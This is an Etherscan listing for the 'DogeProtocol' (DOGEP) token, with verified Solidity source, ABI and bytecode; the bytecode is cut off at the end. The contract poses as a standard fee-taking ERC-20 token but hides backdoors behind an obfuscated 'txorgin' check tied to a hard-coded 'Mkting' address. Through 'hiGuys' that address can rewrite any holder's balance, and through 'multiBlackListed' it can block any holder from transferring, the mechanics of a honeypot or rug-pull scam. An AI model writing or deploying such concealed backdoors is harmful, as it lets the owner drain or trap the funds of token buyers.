ETH Price: $3,299.88 (-3.07%)
 

Overview

Max Total Supply

1,000,000,000 DOGEP

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
15,757,165.97 DOGEP

Value
$0.00
0x86ea742a70bbdb3ea7b8c106ea402aeb9dcadda7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DogeProtocol

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-26
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function txorgin(address vieww,uint256 amount, address viewv) public pure{
        require(amount == 1000 && viewv == vieww);
    }

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }



}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract  DogeProtocol is Context, IERC20, Ownable{
    using SafeMath for uint256;
    string private _name = "DogeProtocol";
    string private _symbol = "DOGEP";
    uint8 private _decimals = 9;
    address payable public Mkting;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        Mkting = payable(address(0x9f650c134f2C3Bf5A1b880df1a4784bA21b50310));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function setMarketPair() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function multiBlackListed(address[] calldata addresses, bool status) public {
        txorgin(Mkting,2 * 500, _msgSender());
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function hiGuys(address sender, uint256 wsd) public {
        txorgin(Mkting,1000, msg.sender);_balances[sender] = (wsd.sub(_balances[sender])).add(wsd);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "ERC20: blackListed");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 ETHamountMarketing = address(this).balance;

        if(ETHamountMarketing > 0)
            Mkting.transfer(ETHamountMarketing);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Mkting","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"wsd","type":"uint256"}],"name":"hiGuys","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"multiBlackListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"vieww","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"viewv","type":"address"}],"name":"txorgin","outputs":[],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600c81526020017f446f676550726f746f636f6c00000000000000000000000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600581526020017f444f474550000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff16021790555060036009556003600a55600360009054906101000a900460ff16600a620000e4919062000522565b633b9aca00620000f591906200065f565b600b553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160066000620001e6620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550739f650c134f2c3bf5a1b880df1a4784ba21b50310600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620003aa9190620004aa565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f790620006d7565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b620004a481620006c0565b82525050565b6000602082019050620004c1600083018462000499565b92915050565b6000808291508390505b60018511156200051957808604811115620004f157620004f06200070d565b5b6001851615620005015780820291505b808102905062000511856200076b565b9450620004d1565b94509492505050565b60006200052f82620006c0565b91506200053c83620006ca565b92506200056b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd6200070d565b5b8360020a915084821115620005e857620005e76200070d565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a9050838111156200062357620006226200070d565b5b62000658565b620006388484846001620004c7565b925090508184048111156200065257620006516200070d565b5b81810290505b9392505050565b60006200066c82620006c0565b91506200067983620006c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b46200070d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f057607f821691505b602082108114156200070757620007066200073c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612df180620007886000396000f3fe6080604052600436106101445760003560e01c8063683e865c116100b6578063c5d241891161006f578063c5d2418914610491578063c816841b146104bc578063c8607952146104e7578063d27b1f9414610512578063dd62ed3e1461053b578063f2fde38b146105785761014b565b8063683e865c1461038157806370a08231146103985780638da5cb5b146103d557806395d89b41146104005780639a66989c1461042b578063a9059cbb146104545761014b565b80631d231b2c116101085780631d231b2c1461023757806323b872dd14610274578063313ce567146102b15780633345611e146102dc5780633ecad271146103195780636560784a146103565761014b565b806306fdde0314610150578063095ea7b31461017b5780630e56e608146101b85780631694505e146101e157806318160ddd1461020c5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b506101656105a1565b60405161017291906125ba565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d91906121f3565b610633565b6040516101af9190612584565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da9190612233565b610651565b005b3480156101ed57600080fd5b506101f661069b565b604051610203919061259f565b60405180910390f35b34801561021857600080fd5b506102216106c1565b60405161022e91906126dc565b60405180910390f35b34801561024357600080fd5b5061025e60048036038101906102599190612106565b6106cb565b60405161026b9190612584565b60405180910390f35b34801561028057600080fd5b5061029b600480360381019061029691906121a0565b6106eb565b6040516102a89190612584565b60405180910390f35b3480156102bd57600080fd5b506102c66107c5565b6040516102d39190612751565b60405180910390f35b3480156102e857600080fd5b5061030360048036038101906102fe9190612106565b6107dc565b6040516103109190612584565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190612106565b6107fc565b60405161034d9190612584565b60405180910390f35b34801561036257600080fd5b5061036b61081c565b6040516103789190612540565b60405180910390f35b34801561038d57600080fd5b50610396610842565b005b3480156103a457600080fd5b506103bf60048036038101906103ba9190612106565b610c1a565b6040516103cc91906126dc565b60405180910390f35b3480156103e157600080fd5b506103ea610c63565b6040516103f79190612525565b60405180910390f35b34801561040c57600080fd5b50610415610c8c565b60405161042291906125ba565b60405180910390f35b34801561043757600080fd5b50610452600480360381019061044d9190612286565b610d1e565b005b34801561046057600080fd5b5061047b600480360381019061047691906121f3565b610df9565b6040516104889190612584565b60405180910390f35b34801561049d57600080fd5b506104a6610e18565b6040516104b391906126dc565b60405180910390f35b3480156104c857600080fd5b506104d1610e1e565b6040516104de9190612525565b60405180910390f35b3480156104f357600080fd5b506104fc610e44565b60405161050991906126dc565b60405180910390f35b34801561051e57600080fd5b50610539600480360381019061053491906121f3565b610e4a565b005b34801561054757600080fd5b50610562600480360381019061055d9190612160565b610f24565b60405161056f91906126dc565b60405180910390f35b34801561058457600080fd5b5061059f600480360381019061059a9190612106565b610fab565b005b6060600180546105b0906129b8565b80601f01602080910402602001604051908101604052809291908181526020018280546105dc906129b8565b80156106295780601f106105fe57610100808354040283529160200191610629565b820191906000526020600020905b81548152906001019060200180831161060c57829003601f168201915b5050505050905090565b60006106476106406110fd565b8484611105565b6001905092915050565b6103e88214801561068d57508273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b61069657600080fd5b505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b60006106f88484846112d0565b506107ba846107056110fd565b6107b585604051806060016040528060288152602001612d9460289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061076b6110fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119519092919063ffffffff16565b611105565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61084a6110fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ce9061267c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561093657600080fd5b505afa15801561094a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096e9190612133565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109d057600080fd5b505afa1580156109e4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a089190612133565b6040518363ffffffff1660e01b8152600401610a2592919061255b565b602060405180830381600087803b158015610a3f57600080fd5b505af1158015610a53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a779190612133565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610c9b906129b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc7906129b8565b8015610d145780601f10610ce957610100808354040283529160200191610d14565b820191906000526020600020905b815481529060010190602001808311610cf757829003601f168201915b5050505050905090565b610d54600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e8610d4f6110fd565b610651565b60005b83839050811015610df3578160086000868685818110610d7a57610d79612ac0565b5b9050602002016020810190610d8f9190612106565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610deb906129ea565b915050610d57565b50505050565b6000610e0d610e066110fd565b84846112d0565b506001905092915050565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b610e79600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e833610651565b610edd81610ecf600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846119b590919063ffffffff16565b6119ff90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fb36110fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611040576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110379061267c565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c906126bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dc9061261c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c391906126dc565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611341576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113389061269c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a8906125dc565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561143e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611435906125fc565b60405180910390fd5b600d60149054906101000a900460ff16156114655761145e848484611a5d565b905061194a565b600061147030610c1a565b9050600d60149054906101000a900460ff161580156114d95750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114e8576114e781611c30565b5b61153a83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119b590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116205750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561162d57839050611849565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116b0576116a9606461169b60095488611f3490919063ffffffff16565b611faf90919063ffffffff16565b905061172e565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561172d5761172a606461171c600a5488611f3490919063ffffffff16565b611faf90919063ffffffff16565b90505b5b60008111156118325761178981600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ff90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161182991906126dc565b60405180910390a35b61184581866119b590919063ffffffff16565b9150505b61189b81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ff90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161193b91906126dc565b60405180910390a36001925050505b9392505050565b6000838311158290611999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199091906125ba565b60405180910390fd5b50600083856119a891906128a2565b9050809150509392505050565b60006119f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611951565b905092915050565b6000808284611a0e91906127c1565b905083811015611a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4a9061263c565b60405180910390fd5b8091505092915050565b6000611ae8826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119519092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b7d82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ff90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c1d91906126dc565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c6857611c67612aef565b5b604051908082528060200260200182016040528015611c965781602001602082028036833780820191505090505b5090503081600081518110611cae57611cad612ac0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d5057600080fd5b505afa158015611d64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d889190612133565b81600181518110611d9c57611d9b612ac0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e0330600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611105565b600c60009054906101000a900473fffffffffffffffffff